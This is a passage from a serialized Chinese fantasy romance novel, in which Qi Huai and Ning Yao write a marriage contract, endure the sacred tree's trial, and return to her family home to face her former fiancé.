宁瑶微仰起头,“没什么,你刚才去哪儿了?” “去取个东西。”他答地轻快,唇角怎么压也压不住,索性任由它上扬。 “什么东西?” “婚印。”他看着她骤然睁圆的眼,声音里带着蛊惑般的轻缓,“我们苗疆的道侣成亲,需得带着婚印写就的婚书,方能被神树认可。” 祁淮从怀中取出一物,递到她眼前。 两块镂雕的银牌,玉兰花纹缠绕其间,中心并刻着两个名字,“将这银牌挂于神树,便算作结为道侣。” “祁淮,宁瑶……”宁瑶接过,指尖抚过那精心雕琢的笔画,惊讶道,“这是手工刻的?你何时备下的?” 她抬起头,撞进他深深望过来的眼眸里。 见她没有抗拒神色,反而满是好奇,他眼底的忐忑终是散去,欢愉压抑不住,语气反而刻意放得平淡:“来苗疆之前就准备了。” 他说得保守。 事实上,只能凝望她背影离去的时刻,从那个身份暴露、她企图离去的夜晚开始,此后无数个无法成眠的深夜,他开始一点点雕琢这方银牌。 她尚在怔忡,祁淮已一步贴近,眸光闪烁着一丝忐忑,握住她的手腕,将人带进屋内。 他是拿到婚印,又怕宁瑶不愿,那该如何…… 不过心下此事纠缠,但宁瑶在旁,祁淮心里安了很多。 取来一方长条形的艳红锦缎铺开,他提笔蘸墨,笔锋郑重地落下“婚书”二字。 “有了它,我们便能去神树了。” 宁瑶回神落在“婚书”两字之上,弯唇不由自主地扬起,“你是为了它,早上才走的匆忙,那你便写吧。” 得到宁瑶的答案,他笑意眸光不加掩饰,久久流连在宁瑶脸上。 他俯身一字一句写得专注:合宁祁两姓之好,万里扶瑶,长相厮守,不离不弃。以天地为鉴,日月星辰为证,彼此同心度此生。 宁瑶指尖点在某处,轻声疑问:“这个‘瑶’……是不是写错了?该是‘扶摇’的‘摇’才对。” “将错就错。”他答得很快。 可宁瑶瞧着,那字不像笔误,倒像某种刻意为之。 祁淮的指尖几不可察地微颤,写下自己名字,随即把笔递给了她,他眸色深深,一眨不眨地盯着她的动作。 “该你了。” 宁瑶笔尖稍顿。 成婚,她竟真的要与祁淮结为道侣了。 念头及此,公主娘亲的面容闪过脑海,她心下一紧的同时,可过往相处的点滴涌来,迟疑便烟消云散了。 尤其当她察觉,自己不过一瞬的停顿,竟让祁淮喉结轻滚,悄然攥紧了沁出湿意的手心。 一种被人如此珍重的暖流,撞进她的心口,热意传遍全身。 她不再犹豫,提笔写下“宁瑶”两字。 墨迹渐干。 祁淮从古朴木盒中取出一枚白玉婚印,托在掌心。 他长臂一揽,将宁瑶圈入怀中,牵引着她的手覆在手背,一同握住温润的印纽,蘸取殷红朱砂,稳稳钤印于婚书之上。 金光流转,没入绢帛。 “往后,我便是你的未婚夫婿了。” 他终于可以光明正大赶走那些人,留在小猫身边了。 祁淮唇角弯起,眼底萦绕的晦暗阴郁如被风吹散,他自身后将额轻靠在她肩头,掩住眼底病态的兴奋。 “方才,可是紧张了?”他牵着她的手,指腹安抚地摩挲着她手背。 “嗯。”宁瑶坦然承认,回握的力道顿时紧了紧。 即便祁淮不说,她也知晓,他同样心潮难平。 “紧张是人之常情,我是第一次答应一个人此事。祁淮你听好了,这世间千千万万人,我只欢喜一个。” “谁?”祁淮忽的一笑,执意要听那个名字。 宁瑶仰脸,笑眼盈盈望进他深邃的眸:“欢喜你,祁淮。” 他长睫轻颤,垂眸紧紧盯着她的笑意,明亮得能撕裂一切阴霾。 悬空的心终是踏实落下,眉眼舒展开,笑意染上真正的舒朗。 满足之中,汹涌的独占欲来得迅猛又直白。他忽地揽着她转了半圈,低头,吻轻轻落在她的唇上。 “明日吉时,我们出发去神树,越快越好。” “这般快的吗?”她瞧见他眉眼间再难掩饰的熠熠神采。 “是。” 是夜,祁淮兴奋得难以成眠,将人拢在怀里,吻了又吻,仍觉不够切实。 “可曾后悔?” 他于唇齿相依间,低声追问,牵着她的手落在眼下两颗小痣上,故意凑近脸颊,好让她仔细多看看。 宁瑶果然看的愣了一瞬,满眼都是对自己看人眼光不错的欣赏。 宁瑶摩挲他的眼尾:“我可不悔。” 祁淮嘴角扬起,将她搂得更紧,嗓音里混着得逞的喟叹,掩藏起执拗,喑哑道:“悔也晚了。” 她笑意满满,拍了拍他后背,脸颊蹭了蹭他肩胛,“是是是,该睡了,再不睡明日可不一定起得来。” 见她打了个哈欠,祁淮追着她微张的口,舌尖卷过她的口中津液,深深吻得宁瑶微微喘息才肯罢休,唇瓣咬了咬她的下唇保持着呼吸交缠。 “婚书已有,听一声夫君,一点都不为过。” 被祁淮自问自答,理直气壮的口吻逗笑了。 宁瑶在他腰上轻捏了一把,温热气息凑近他耳畔,祁淮渴意地压着她塌腰,紧密贴合。 她耳尖泛红,抿了抿唇:“夫君,晚安。” 说完便在他怀中人紧紧闭上眼,祁淮欢愉压抑不住声音失笑。 ——这下是彻底失眠了。 翌日天刚亮,祁淮便准备妥当,与宁瑶十指紧扣,领着她走向通往神树的入口。 高树相夹,一条落满枯叶,平平无奇的小路,周围灵气氤氲,迷雾遮掩,看不到尽头。 入口处早已聚拢了不少苗疆族人,低声议论着,目光复杂地落在他们身上。 十多年来,又有本族人与外族客共赴这“一世约”。 “成不了的。”一个老者断言。 “那条路……多少年没人带着外人走过了。” “就算走不到头,这一路上的‘滋味’,也够人受的……” 窃窃私语顺着风飘来。 宁瑶偏头,小声问:“他们为什么都这么说呀?”脸上不见惧色,纯粹的好奇。 祁淮收紧了手指,将她攥得更牢。另一只手抚上她的脸颊,指尖微凉,力道却轻柔,迫使她抬起眼只看向自己。 他嘴角弯起,“都是胡说。” “神树赐下的小小考验罢了。瑶瑶,你只要信我,握紧我的手,一步别松开,好不好?” “嗯。”宁瑶颔首,紧了紧相牵的手。 两人一同踏上那条石子小路,很快两人的身影便在迷雾中齐齐消失。 牵着她的手往前的人身形微顿,宁瑶侧眸问道:“怎么了?” 一股难言的剧痛蔓延在他体内,五脏六腑仿佛移位似的,抽抽地疼。 祁淮忍痛下面不改色,咽下喉头腥甜,只看着宁瑶跟在自己身旁,满足地弯唇轻笑,好叫宁瑶没看出一丝破绽。 “无事,跟紧我。” 祁淮走的极快,宁瑶与他并肩同行,眼神瞟向四周。 这迷雾中出现了许多声音,有的声音在好言相劝,有的声音在质问他们的情感。 但两人的通通不答,风卷起落叶飘向宁瑶,祁淮阻挡在前。 便见一侧迷雾中出现了一人,眉眼与祁淮相似,唯有眼下没有泪痣。 “洛子晟”伸出手:“宁瑶,跟我走。” 祁淮心口蓦然一紧,却见宁瑶别开脸,朝他展开笑颜,继续携手往前。 “这些幻影我一个不信。” 跨过最后一道雾障,那棵传说中的神树映入眼帘。 虬结的枝干上系满了层层叠叠的红绸,宛如倾泻的霞瀑。 其下缀着的万千银铃牌随风轻晃,碰撞出悦耳的碎响。 祁淮指尖隔着衣襟,反复摩挲着贴身那纸婚书。蚀骨的疼痛正一寸寸榨干他的力气,脊背却依旧绷得笔直。 “瑶瑶,”他声音有些发软,笑意却是温柔,“你去把我们的银牌挂上,可好?” 宁瑶闻言转过头,刚要应答,顿时皱起眉:“脸色怎么白得跟纸似的?” 祁淮抿住唇,将涌至喉头的腥甜咽下,只是摇头,把一对银牌轻轻放入她手心。 宁瑶看他一眼,靠近神树将两枚银牌系在一处向阳的枝头。 银牌并肩挨着,上面刻的名字紧紧依靠。 在她身后,祁淮望着那依偎的名字,眼底满是病态欢愉的满足,他闷咳一声,鲜血溢出唇角。 “祁淮!”宁瑶回头正看见这一幕,吓得跑来扶住他胳膊,“怎么咳血了?!” 少年抬手,用袖口胡乱擦去那抹刺目的红,眼底亢奋的欢愉却亮得惊人,只顾望着她:“……没事。是神树的考验。” “哪家考验会让人吐血的。” 宁瑶盯着他苍白的脸和染血的唇,眼圈不受控地泛红,“你跟我说实话,是不是很疼?” 她语气里带着她自己都未察觉的慌张与心疼:“告诉我,我或许能帮你分担点。” 这话却像触动了什么开关。 祁淮将她拉进怀中,手臂紧紧环住,力道大得仿佛要将她揉进骨血。 他低下头,声音低哑:“不行。” “所有的疼,所有的苦,所有的考验,都必须由我来。” 祁淮苍白的唇近乎呓语,蹭过她发丝,眼底暗潮汹涌。 让它来,冲他来。 他的小猫,现在起,谁也别想再带走了。 作者有话说:文笔有限,婚书写的……大家见谅orz[摸头][让我康康]摸鱼一个祁淮日常vlog白天:1.看“话本”丰富脑子2.手工活3.喂养蛊虫修炼晚上:贴贴小猫(高亮) 贴贴小猫(高亮) 贴贴小猫(高亮) 第82章 宁瑶一时有些无措,手指微微发颤地抱紧他,“我们快些回去,好不好?” 祁淮的目光从她发梢轻轻移开,落向身后那株神树。 枝叶无风自动,系在枝头的银牌簌簌轻响,仿佛下一刻就要坠落。 他抬手咬破指尖,以血引灵,暗红缠绕的灵力悄然覆上银牌,将其稳住。 灵力渐歇,他指尖失力般轻轻搭在她后颈。 这里种着情缠蛊,烙着魂印。 喉间腥甜翻涌,祁淮默默咽下,将怀里的人抱得更紧些。 幸好是这样抱着,她看不见他唇角不断溢出的血。 “血腥气,怎么越来越重了?”宁瑶不安地挣动,想要抬眸查看,却被他牢牢按在怀中。 祁淮将下颌抵在她颈窝,掌心温和地抚着她的后脑,将她按向自己肩头。这是一个近乎禁锢,仍又给予庇护的姿势,给足了安全感。 “无事。”祁淮指腹轻轻摩挲她颈后的肌肤,忽的转移话题,“回去想吃什么?” “这种时候还问,那要吃你做的炒肉吧。” “好。”祁淮很轻地笑了一下,趁她不察,迅速以袖角拭去唇边血迹,手上力道这才不舍地松了少许。 宁瑶立刻抬起头,目光急切地在他脸上巡视,“你是不是觉得我傻?我哪有那么好糊弄?” “没骗你。” 他不动声色地在衣摆上擦净指腹沾的血,轻轻捧住她的脸,温声道:“真的没事了,我们回家。” 宁瑶点点头,伸手想去扶他,却被他反手握住,十指紧紧扣住。 他牵着她往前走,力道有些重,像是借此支撑着什么。 见她仍抿着唇,他忽然侧过头,低声唤道:“夫人。” 宁瑶耳尖一麻。 这称呼除了幻境里,他从未在现实中这般叫过。 一股甜蜜感混着羞赧涌上来,她脸上发热,她装作镇定:“干嘛突然这么叫。” “想知道,我是什么时候开始欢喜在意你的吗?”他眼尾微弯,笑得意味深长。在天光里,又显得温柔。 “想。”宁瑶小声说,心跳却快了起来。 祁淮想起旧事,低低一笑,指尖抚上她绯红的脸颊,目光专注得像要望进她魂魄深处。 “最初,在棺材里的时候。” 宁瑶一怔,眼睛微微睁圆:“真的?可那不是我们第一次见面吗?那时候你还是个‘傀儡’……”而她大言不惭,自称是他的主人。 忽然明白回过味来,她眼底满是笑意,偏过头,手指故意勾了勾腰间的四角铃铛。 她轻轻拨弄,反而比拨弄在他身上其他地方,更让人病态又神经质地产生一种酥麻的欢愉。 她抬眸笑盈盈地瞅他:“就这么喜欢上,是不是太草率?” “你是我魂魄亲自选定的命定之人。”他望进她眼里,声音轻而执拗,“哪怕没有这‘傀儡’一事,只要你出现,我仍是做出同样的选择。” 祁淮眼神专注,看向她是偏执又温柔。 神树枝叶轻晃,银牌在渐渐泛着微弱的光。 宁瑶脸颊一烫,只觉得浑身的血液都跟沸腾一下。 这人……难道一成亲,就自动解锁了某种“情话连篇”的封印吗? 祁淮倒是一脸坦然。 魂印相系,万物皆有迹可循,他是陈述事实罢了。 宁瑶忍不住弯起唇角,身子微微发颤,失笑出声来:“那万一我下辈子成了小猫小狗,你也认得?” “认得。”祁淮答得没有半分迟疑,“我会捡回去。” 见他眉眼依旧舒展,带着熟悉的调侃神色,宁瑶悄悄松了口气,那点羞涩才缓缓平复。 两人携手走出那片古老林荫时,日头才堪堪偏西,不过三个时辰。 等候在外还未散去的那些看热闹的人霎时哗然,惊呼与议论如潮水般涌来。 “他们竟真的成功了?!” “神树不是从不接纳外族之人吗?” 宁瑶竖起耳朵,目光扫过一张张写满难以置信的面孔。 身侧的人却将背脊挺得笔直,如一位得胜归来的将军,雀跃不止。 祁淮微微侧首,视线始终萦绕于她一人。 神树阻不了他,阻不了他们,更阻不了他跨越一切,再度握紧的这份缘。 他轻轻收拢掌心,裹住她的手。 “回家,”他说,“给你做小炒肉。” 竹屋小院安静地沐在夕阳里。 祁淮进了厨房,宁瑶正提着水壶照料花草,门外忽然响起一阵急促的叩门声。 来的是隔壁的归云阿姐,她挎着满满一篮还带着露水的鲜花,不由分说塞进宁瑶怀里,脸上笑开了花:“恭喜恭喜,神树见证,这可是天大的喜事。” 宁瑶忙点头露出会心一笑。 “这可了不得,”归云阿姐激动地拍手,“一千多年了,头一遭了。” “有……这么夸张吗?”宁瑶眨了眨眼。 “不夸张,一点不夸张。”归云阿姐笑得见牙不见眼,“千年唯此一例。阿淮没同你说?外族人靠近神树那一路,滋味可不好受……” “什么意……” “归云阿姐。” 祁淮拎着锅铲出现在院门口,适时打断了话头,眸色一寸寸沉下去,“好不一同用饭?” 归云阿姐摆手,笑着退开:“不了不了,这大好日子,哪能打扰你们。” 宁瑶狐疑地瞥了祁淮一眼。 他则无比自然地牵过她的手,阖上门,将满院好奇隔绝在外。 “菜齐了。” 宁瑶被他按在桌前,只见四菜一汤,竟全是她偏爱的口味。 暂时按捺下心头疑惑,一边吃,一边悄悄打量他。 饭后,她将鲜花插入瓶中,寻了个还篮子的借口,再次溜到归云阿姐家口。 压低声音,她终于问出了未完的问题。 于归云见她竟全然不知,惊讶地睁大眼:“‘情缠蛊’是每个族人出生便伴生的本命蛊。神树只认有此蛊的苗疆人,外人越靠近,周身如遭碾噬,痛楚难当。 千年以来,能为苗疆人的爱人做到这一步的,寥寥无几,多数啊半途便放弃了。” 宁瑶听着,耳畔嗡嗡作响。 祁淮的“情缠蛊”,早在之前便种给了她。 所以她安然无恙,那他…… “多谢阿姐,我还有事,先走一步。” 宁瑶心头一紧,急切要见到某人,转身便朝家门口疾驰。 小院内,祁淮正懒洋洋地倚着桌边,用筷子夹着生肉逗弄“怪怪”。 小蛇盘在他的腕子上,见到门开了,一人一蛇同时望过去。 黑蛇摇了摇蛇尾,赤红的竖瞳眨了眨眼,朝她点头以做示意。 宁瑶无暇分心害怕,“砰”地将双手撑在桌面上。她俯身靠近他,直视他的眼睛:“坦白从宽,为什么瞒着我?” “瞒什么?”祁淮微歪头,含笑看向她。 铃音轻响,面色从容。 见他还在装傻,宁瑶气鼓鼓地将归云阿姐的话复述了一遍,还不忘捏了捏他脸颊。 “……所以,你从一开始就知道会那样痛?” 她凑得更近,不肯错过祁淮脸上一丝一毫的情绪变化。 祁淮望着她因急切又担心而泛红的脸颊,轻轻笑了,“是,我知道。” 宁瑶被他这突如其来的坦白堵得哑口,“你为何不早说?”她的声音里压着颤。 “一点小痛,我忍忍就过去了,可不想夫人遭这些罪。”祁淮语调轻快,甚至弯了弯唇。 万一小猫被吓到,改了主意怎么办。 这话径直砸进宁瑶心湖,涩意混着暖意泛滥开来,直漫到舌尖。 “我知道了。”她抿了抿发干的唇,声音低下去轻抱着他。 想到他疼到吐血,宁瑶抬眼看他,眸子清亮,“我没真生气,我就是怕你身体。很疼的,对不对?” 祁淮没答,只伸手将她在怀里抱得很紧,“不疼。” “骗人。“宁瑶下意识挣了挣,可微不足道的反抗却让祁淮心尖泛起一阵欢愉。 她越是这样,他越想将她紧抱着。 她脸贴着他微凉的衣襟,闷闷地问:“现在了,还会不会不舒服?” “哎,似乎突然有些不舒服。” 祁淮低语,半垂长睫,故作可怜,见到她眼中关切,指尖贪恋地抚上她脸颊。 方才她急急走来,颊边染着桃瓣似的粉,一路晕到耳后。 在烛光下,脸颊润泽得像沾露的蜜果,目光下移在唇上,诱人得紧。 注意力跑偏,低头便在她唇上啄了一下。 “祁淮。” “嗯,这里太软,太烫。” 他唇瓣辗转,转而又去含住柔嫩的耳垂,齿尖不轻不重地磨了一下。 宁瑶痒的轻轻一颤。 “说正经事呢。” 她绷着嘴角憋笑,伸手捂住了他的嘴。 掌心下唇瓣微动,祁淮居然在偷笑。 祁淮顺势贴近,额头与她相抵,嗓音压得低:“还有什么正经事,能比你我现在,更要紧?” 他牵过她的手,勾上自己的脖颈,“现在非得多抱抱,我才能好的彻底。” 宁瑶习惯他这般故意为之,手腕熟练地环住了他的脖颈。 祁淮眼底掠过一丝得逞的幽光。 就势将人往怀里一带,手臂箍紧纤细腰肢,稍一调换,便让她面对面跨坐到自己腿上。 厢房里静下,两人静静相拥,体温与呼吸悄然交叠。 “我好些了。”祁淮道。 宁瑶闻言,身子后撤,仔细端详他片刻。忽的凑上前,主动吻住了他的唇。 这个吻起初轻如试探,随即却仿佛泄开了闸,携着诸多心绪,渐深渐急。 细微的水声,凌乱的呼吸,交织难辨。 宁瑶闭着眼,指尖下意识地攥紧了他肩头的衣料。 祁淮早已燥意难捱,逐渐加深着这一吻,灵气不知不觉中交换,一声声呢喃着:“夫人……” 只叫得宁瑶耳朵发烫发痒,“回羽安国,我带你去见一人。” 作者有话说:大家为小作者点点预收文,点点我的专栏,助力小作者尽快开文[让我康康][狗头叼玫瑰] 第83章 祁淮瞧着她绯红的脸颊,鼻尖亲昵地蹭了蹭,低笑道:“好。” 宁瑶在他怀里闷笑,从他身上退开些许,一低头,就瞥见不知何时溜到祁淮脚边的那条小黑蛇。 她下意识往他怀里一缩,总是联想起幻境里的那一只。 “还是怕蛇?”祁淮声音里带着明显的笑意。 宁瑶梗了梗脖子,底气却不足:“我才不怕……” 小黑蛇像是听懂了,顿时昂起脑袋,雄赳赳地就要朝她游近。 宁瑶脸色一变,呼吸屏住。 祁淮一边享受着怀里人温热的呼吸拂过自己脖颈的酥麻感,温度透过皮肤传遍全身,她依赖的模样。一边又掀起眼皮,轻飘飘地递去一记眼刀以示警告。 怪怪高昂的脑袋顿时蔫了,委屈巴巴地晃了晃,把自己盘成一小团,尾巴尖都藏了起来,再也不往这边瞧。 宁瑶竟从一条蛇身上看出了“闹脾气”,忍不住觉得好笑。 “一直很好奇,它到底哪来的,太有灵性了……” 祁淮眸光一闪,陷入回忆。 “从前,那些圆毛的活物都不太亲近我。即便是喂过食的野猫,也不会再来第二回。” 祁淮语气平淡,像在说旁人的事,“这深山里头,常伴左右的也就是虫蛇了。八岁遇见怪怪那年,一个雷雨夜山体滑坡,摔进一个山洞,伤了腿。” 他语气顿了一下,宁瑶的心也跟着揪紧。 “醒来时,又冷又黑,浑身都疼。只有一条细细小小的黑蛇盘在身旁,一动不动地陪着我。” 祁淮扯了扯嘴角,“后来我侥幸从那儿出来,偶尔喂它些灵气,它便赖着不走了。蛇性冷,说不定哪天就无声无息地走了……所以,连名字我并未起。” 祁淮说的语气平静,轻描淡写的口吻却让宁瑶心口堵了一下。 八岁的祁淮孤单一人,受了伤,绝望无助的感觉,只怕更让人心忧。 “它和你养的那些蛊,不一样?” “不一样。” 祁淮微歪头弯唇,“一旦有了名字,便是斩不断的牵连,所以它之前才连个名字都没有。” 宁瑶明白。对于祁淮来说,即便不给予名字,仍允许长久相伴,已是某种极致的特殊。 她心里泛起细细密密的疼,仿佛能看见那个雨夜里,受伤的小少年与一条小蛇默然相对。 她伸出手,更紧地环住他的腰,脸颊贴在他心口,无声给予安抚,“以后不会孤身一人了。” 祁淮没说话,只是低下头,将微凉的脸颊深深埋进她温热的颈窝,许久,轻轻“嗯”了一声。 她忽然想起什么,“你看它,是不是和我们在幻境里见到的那条蛇特别像?” 祁淮眼眸微眯,目光轻飘飘地扫向小蛇。 那小东西脊背一凉,游窜到床柱上,把自己盘成一根笔挺的“木头”,纹丝不动。 “巧合罢了。” 他收回视线,眸色微微一暗,下巴抵着她的发顶,“我们同他们,不一样。” 宁瑶点点头,想到归处:“那明天收拾妥当,我们就回羽安国。” “好。”祁淮餍足地被她搂着,哪怕无人开口,也极为满足。他忽地偏头,在她颈侧不轻不重地咬了一下。 “咬我做什么?”宁瑶痒的缩了缩脖子。 “这儿只有我看得见。” 祁淮的指腹缓缓摩挲那点淡红痕迹,声线满是不容置喙的独占,“往后这里,印记,都得是我的。” 颈间传来细痒,宁瑶轻颤着凑近,眼里闪着戏谑的光:“你再这样,我可要咬回来了。” “求之不得。” 祁淮仰起脖颈,一副“任君采撷”的模样。 宁瑶憋着笑,毫无客气地上前,轻轻含住了他的喉结,用了点齿尖磨了磨。 酥麻的触窜遍脊椎,祁淮闷哼一声,搂着她的手臂倏然收紧,将一声声压回胸腔。 宁瑶看得他模样没忍住笑着。 * 羽安国,中秋将近。 皇城长街人流如织,满城皆是人间烟火的热闹。 一辆青篷马车自城门驶入,车轱辘声淹没在鼎沸人声里,毫不起眼。 马车停稳。 车帘被一只素手掀起,宁瑶探身而下。 回到羽安国,宁瑶只想尽快为祁淮查出身世真相。 街道喧嚷扑面,她望着眼前的热闹,有一瞬恍惚。 明明只离开两年,却像隔了一世。 “郡主!”一声带着哽咽的呼唤着。 人群中,青栀早早等在城门口,待看到熙熙攘攘中一鹅黄色极为醒目,她眼眶微红,一眼认出。 急奔而来,正要行礼,便被宁瑶稳稳扶住手臂,“青栀,说了多少回,不必行礼。” 青栀擦了擦泛红的眼角,“郡主,可是……”她有好些话想说,目光一转,定在宁瑶身侧。 跟着下车的人,一身深蓝色衣衫,正无比自然又亲昵地站在宁瑶半步之后,无端让人觉得难以忽视。 青栀顿时像只护崽的雀儿,将宁瑶往自己身后一牵,瞪向那人:“你这‘傀儡’,挨我家郡主这么近做什么?” 宁瑶失笑,将炸毛的青栀拉回来,“青栀,他不是傀儡。” “什么?”青栀愣住,目光在宁瑶和祁淮之间惊疑不定地转了两圈,如遭雷击。 她竟然将郡主让陌生男子陪同一年?! “此事稍后细说。”宁瑶轻拍她手背,转入正题,“我离开这一年,宁府可有什么大动静?” 青栀勉强回神,表情仍僵硬着,引二人登上身后华丽的马车,低声禀报:“王氏那边三人还算安分。三小姐出嫁了,二公子正闭门苦读,预备科考。只是自小姐失踪,府里一直死气沉沉。天道宗来了好几封信询问,洛公子……也曾亲自登门几次。” 她说着去瞧宁瑶神色,本以为会看到欣喜,却只见自家郡主轻轻蹙起了眉。 车厢里,一直沉默的祁淮忽地笑了一声。 祁淮听着磨了磨后槽牙,笑得意味不明,“那位洛公子,寻我的瑶瑶能有何贵干?” “你,瑶瑶也是你能叫的。”青栀蹙眉,“你这人好大胆子,敢对郡主不敬!” “青栀,祁淮是我的道侣。”宁瑶简单解释完,青栀更是脑袋晕乎乎地彻底怔住,看向祁淮的眼神复杂极了。 “你继续说吧。”宁瑶道。 青栀续道:“洛公子头一回上门,是来致歉的,不知说了什么,把老爷气得当场将他请了出去。第二回是半年前,来打听小姐下落,无果而返,老爷那之后便病了一场。至于这第三回 ……” 她顿了顿,“小姐此刻回府,正好能撞见。” 宁瑶与祁淮对视一眼,心中已有计较。 马车在此时停下。 宁府朱漆大门前,守门小厮正打着哈欠,一眼瞥见下车的人,吓得哈欠僵在嘴里,眼睛瞪得滚圆,“郡主?!” 他活见鬼似的,目光在宁瑶和祁淮之间惊惶逡巡,舌头打了结:“您、您回来了?洛公子他、他方才不是刚进府不久吗……” 宁瑶心下已有对策,不必再掩藏起祁淮的身份。 她侧首,对身畔之人扬起明朗的笑,“祁淮,我们走吧。” 正厅早已等待好几个人,宁瑶一进去便吸引了几人的目光。 她目光一扫,便瞧见了站在最前的宁子桉、洛子晟,以及王氏。 王氏蹙着眉,似有些惊讶她还活着。 宁子桉则急急迎上前,忽略了外人在,脸上有关切之意:“瑶瑶,这一年你究竟去了何处?快进屋让爹爹好好瞧瞧……” 宁瑶望着他那张写满“慈爱”的脸,心里平静得泛不起一丝涟漪。 倒是一旁洛子晟的表情,精彩得让她差点想摸把瓜子出来嗑。 任谁突然见到一个与自己容貌别无二致的人,还亲密地站在她身边,恐怕都很难维持风度。 洛子晟唇角准备好的浅笑冻住,继而清冷的神色寸寸碎裂。他喉结滚动了几下,发出一点干涩的声音:“他是谁?” “我的道侣,祁淮。” 宁瑶感到祁淮牵她的手收紧,指尖在他掌心轻轻挠了一下,示意他安心。 两人之间这无声的小动作,狠狠扎进洛子晟眼底。 他指节攥紧,耳畔嗡嗡作响,仿佛一道惊雷炸开,连宁瑶之后说了什么都听不真切。 “祁淮?道侣?”他不死心地重复,眼神死死钉在两人交握的手上。 祁淮向前挪了半步,不着痕迹地将宁瑶挡去大半,眼中阴鸷的暗色划过。 看什么看,真想把他的连人带眼珠子丢给怪怪吃了。 宁子桉脸色有些僵,视线在三人之间逡巡:“这是何时的事?” “不久,十日前。爹爹,祁淮如今是我的道侣。没什么事,我带他先去休息了。” 宁瑶语气坦然,眸色却带了点疑惑。 洛子晟反应大可以理解,爹爹神色却有些惆怅? 她的话击溃了某人的最后一丝强撑。 他呼吸骤然急促,眼底爬上血丝,盯着宁瑶嗓音哑得厉害:“你若怨我悔婚,大可直言。何苦寻一个与我肖似之人,来这般气我?” “气你?”宁瑶觉得这话着实奇怪,“不是啊,这事不值得我花这般心思。” 她回答地极快,洛子晟面上浮现出扭曲的痛苦,踉跄半步,眼神灼热,倒像是他被无情抛弃地无辜之人。 祁淮没给他再开口的机会,往前踏出一步,一黑蛇窜出去惊得洛子晟后退一步。 祁淮彻底将宁瑶挡在身后,唇角勾起一抹无辜的笑,冲着宁子桉道:“晚辈祁淮,见过岳丈大人,不知这位是……” 宁子桉眼角余光瞥见府外好事者探头探脑,“瑶瑶,你先带他去休息。” 洛子晟见宁子桉并未驳斥,深深看了祁淮一眼。 祁淮笑得意味不明,挑衅道:“怎么,洛公子的眼睛是不打算要了吗?” 作者有话说:[狗头叼玫瑰]祁淮今日又暗爽了 第84章 祁淮的一番话毫不客气,洛子晟面色一改,“你!” 宁瑶微惊抬眸,却见他回首长睫半垂,似在安抚,又似告诉她瞧着好戏。 祁淮转回视线掠过极浅的杀意,心底涌起的暴戾将微微上扬的嘴角,一同压了下去。 ——敢有心思抢走他的夫人,都得该死。 宁瑶从祁淮身后探出脑袋,看看这个,又瞄瞄那个。 两人身高相仿,对峙而立,若不细辨神情,光看这架势,简直像极了消消乐里即将被消除的相邻两格。 洛子晟被祁淮那四平八稳却阴阳怪气的腔调气笑了,他下颌线紧绷,丝毫不肯在气势上落了下风。 两道视线在空中相撞,几乎要擦出火星。 洛子晟见祁淮唇角弯起恰到好处的弧度,施施然又站到宁瑶身侧,“夫人,站累了吧?既然岳父大人发话了,我们便去歇息。” 宁子桉将三人间的暗流涌动尽收眼底,不再多言:“玉兰苑的偏院已派人打扫妥当。” 祁淮笑意加深,语气自然得如谈论天气:“有劳岳父大人。不过,小婿与夫人向来是同住一屋的。” 宁瑶勾了勾他的手指,“走吧。” 对面两人容颜俱佳,并肩而立,如一幅浑然天成的璧人画卷。 可宁瑶身边而立的,本该是他。 此情此景,看得洛子晟心头火起,牙根泛出酸涩的恨意。 “瑶瑶与我相识数载,我关心她,自是无可厚非。” 洛子晟素来清冷的面容透出一丝古怪,语气里藏着几分难以捉摸的尖刺,“不如由我陪同祁公子?宁府我熟稔,那些旧日时光……” 他刻意顿了顿,抬眼望向祁淮,“祁公子,莫非是不高兴了?” 祁淮眉梢微挑,咬了咬牙。 阴魂不散…… 宁瑶讶异洛子晟专挑往事提什么,蹙眉打断:“洛子晟,你话太多了。” 祁淮又侧了侧身,将她轻拉一带,严严实实地转移她的视线,又隔绝了洛子晟的目光。 宁瑶瞧不见洛子晟的表情,只觉得若再让这家伙挑事,得直接丢出府去才能清净。 洛子晟骤然一怔。 她又连名带姓地叫他,语气疏离得不留丝毫情面。 羞恼、不甘与怨怼的情绪猛地冲上心头,他眸色转深,胸口窒闷得发慌,充斥着难以言说的不快。 宁瑶下达了最后的逐客令:“洛公子,请回吧。” 祁淮就在一旁,将那双惯常阴郁的眸子,此刻无辜地眨了眨。牵紧宁瑶的手,目光专注得仿佛周遭一切都不存在,“夫人,我们走。” 洛子晟瞳孔一缩,垂在身侧的手攥紧,骨节发出清晰的“咯吱”声。 他再也听不下去,转身几乎是仓皇地冲出了宁府大门,不曾回头。 在他与祁淮擦肩而过的瞬间,祁淮微微偏头。 两人目光于空中短暂交接。 祁淮唇角得逞似的笑意加深,清晰映入了对方盈满愠怒与狼狈的眼。 洛子晟此生顺遂太多,何曾吃过这样的瘪,心头堵得厉害。 对祁淮的身份狐疑之中,更掺杂了一丝自己不愿深究的不安。 他走得飞快。 宁瑶见宁子桉似要开口,抢先一步岔开话题:“爹,我先带他过去安置。”说罢,忙不迭拉着祁淮就走,逃离尴尬场面。 到了玉兰苑,青栀为她推开那扇熟悉的木门,院中一草一木顷刻涌入眼帘。 宁瑶的目光带着眷恋扫过庭院,却在触及那株玉兰时骤然一亮。 春去秋来,这本该凋零的时节,枝头竟绽开了一片又一片皎洁如雪的花。 “这是怎么回事?” 她快走几步来到树下,轻轻抚过粗糙的枝干。 青栀也凑近,啧啧称奇。 “近来天气和暖,便有了些花苞。真是奇了,昨儿个只是紧裹着的,今日竟全开了。应该感应到郡主要回来……” 宁瑶仰起脸,望着那团团簇簇的洁白,“若是娘亲看见定会欢喜。” 恍惚间,似有清脆的童稚笑声爬上树,那个在树下仰头嬉闹的小小身影,与此刻仰面赏花的鹅黄色人影悄然重合。 那时仰望的是娘亲,而今是她…… 她回了神,祁淮静静立在身后,一眨不眨地望着自己。 那双眸清晰映着她的模样,专注异常。 她笑盈盈牵紧他的手,“这儿玉兰树下的石桌是我小时候习字画画的地方,我的字当初可丑了,要不是娘亲握着我的手一遍遍练,怕是现在都拿不出手。” 她说起这些,愉快盈满心间,对祁淮绽开一个毫无保留的笑。 又带着他在院落里走走停停,絮絮说着这里曾发生的趣事。 “嗯。”祁淮心头一暖,作答地简短但次次有声,见她笑便眸中笑意满满。 将宁瑶每一字收进耳中,以往她极少这般谈起过往。 祁淮目光掠过宁瑶点过的每一处,这方石阶,那扇花窗,她曾在此长大。 他跟着,将一切默默镌刻心底。 若她喜欢,往后在苗疆,或在她任何心仪之处,他皆能原样复刻出来。 只要她能一直如今日这般笑着。 